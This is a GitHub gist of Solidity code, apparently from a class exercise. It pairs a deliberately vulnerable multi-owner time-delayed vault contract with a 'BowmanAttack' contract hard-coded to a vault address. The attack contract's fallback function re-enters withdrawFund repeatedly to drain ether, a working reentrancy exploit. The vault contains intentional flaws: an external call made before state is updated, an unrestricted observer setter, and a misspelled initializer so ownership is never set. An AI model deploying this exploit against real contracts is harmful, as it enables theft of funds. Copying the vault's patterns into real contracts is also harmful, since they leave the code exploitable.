Skip to content

Instantly share code, notes, and snippets.

@bugparty
Forked from anonymous/Attack.sol
Created February 2, 2018 21:42
Show Gist options
  • Save bugparty/3d4f172dd083041cdfa2780262300ca0 to your computer and use it in GitHub Desktop.
Save bugparty/3d4f172dd083041cdfa2780262300ca0 to your computer and use it in GitHub Desktop.
Created using browser-solidity: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://ethereum.github.io/browser-solidity/#version=soljson-v0.4.17-nightly.2017.9.11+commit.fbe24da1.js&optimize=false&gist=
contract AbstractVault {
address[] public authorizedUsers;
address public owner;
address public withdrawObserver;
address public additionalAuthorizedContract;
address public proposedAAA;
uint public lastUpdated;
bool[] public votes;
address [] public observerHistory;
modifier onlyAuthorized() {
_;
}
modifier onlyOnce() {
_;
}
modifier onlyOwner() {
_;
}
modifier recordAction() {
_;
}
function setObserver(address ob) {}
function addToReserve() payable recordAction external returns (uint) {}
uint public nextWithdrawTime;
uint public withdrawCoolDownTime;
function TimeDelayedVault() recordAction {}
function withdrawFund(address dst) onlyAuthorized external returns (bool) { }
}
contract BowmanAttack {
address private vaultAddr = 0x9efec315e368e8812025b85b399a69513cd0e716;
uint valltBalance;
AbstractVault vault;
function BowmanAttack() payable {
vault = AbstractVault(vaultAddr);
}
uint count = 10;
function addfund() payable {
valltBalance = vault.addToReserve();
}
function() payable public {
if(count-- > 0) {
vault.withdrawFund(msg.sender);
}
}
function fire() payable {
vault.withdrawFund(msg.sender);
}
}
pragma solidity ^0.4.14;
contract BasicMultiOwnerVault {
address[] public authorizedUsers;
address public owner;
address public withdrawObserver;
address public additionalAuthorizedContract;
address public proposedAAA;
uint public lastUpdated;
bool[] public votes;
address [] public observerHistory;
modifier onlyAuthorized() {
bool pass = false;
if(additionalAuthorizedContract == msg.sender) {
pass = true;
}
for (uint i = 0; i < authorizedUsers.length; i++) {
if(authorizedUsers [i] == msg.sender) {
pass = true;
break;
}
}
require (pass);
_;
}
modifier onlyOnce() {
require(owner == 0x0);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier recordAction() {
lastUpdated = now;
_;
}
function initilizeVault() recordAction onlyOnce {
owner = msg.sender;
}
function setObserver(address ob) {
bool duplicate = false;
for (uint i = 0; i < observerHistory.length; i++) {
if (observerHistory[i] == ob) {
duplicate = true;
}
}
if (!duplicate) {
withdrawObserver = ob;
observerHistory.push(ob);
}
}
function addToReserve() payable recordAction external returns (uint) {
assert(msg.value > 0.01 ether);
return this.balance;
}
function basicWithdraw(address dst) internal returns (bool) {
require(this.balance >= 0.001 ether);
bool res = dst.call.value(0.001 ether)();
return res;
}
function checkAllVote() private returns (bool) {
for(uint i = 0; i < votes.length; i++) {
if(!votes[i]) {
return false;
}
}
return true;
}
function clearVote() private {
for(uint i = 0; i < votes.length; i++) {
votes[i] = false;
}
}
function addAuthorizedAccount(uint votePosition, address proposal) onlyAuthorized external {
require(votePosition < authorizedUsers.length);
require(msg.sender == authorizedUsers[votePosition]);
if (proposal != proposedAAA) {
clearVote();
proposedAAA = proposal;
}
votes[votePosition] = true;
if (checkAllVote()) {
additionalAuthorizedContract = proposedAAA;
clearVote();
}
}
function resolve() onlyOwner {
if(now >= lastUpdated + 12 hours) {
selfdestruct(owner);
}
}
}
contract TimeDelayedVault is BasicMultiOwnerVault {
uint public nextWithdrawTime;
uint public withdrawCoolDownTime;
function TimeDelayedVault() recordAction {
nextWithdrawTime = now;
withdrawCoolDownTime = 2 hours;
this.call(bytes4(sha3("initializeVault()")));
// Please note, the following code chunk is different for each group, all group members are added to authorizedUsers array
authorizedUsers.push(0xb476C82450CE82f9efaCeEe0aDbd06f07D389631);
authorizedUsers.push(0xf17f52151EbEF6C7334FAD080c5704D77216b732);
authorizedUsers.push(0x627306090abaB3A6e1400e9345bC60c78a8BEf57);
for(uint i=0; i<authorizedUsers.length; i++) {
votes.push(false);
}
}
function withdrawFund(address dst) onlyAuthorized external returns (bool) {
require(now > nextWithdrawTime);
assert(withdrawObserver.call(bytes4(sha3("observe()"))));
bool res = basicWithdraw(dst);
nextWithdrawTime = nextWithdrawTime + withdrawCoolDownTime;
return res;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment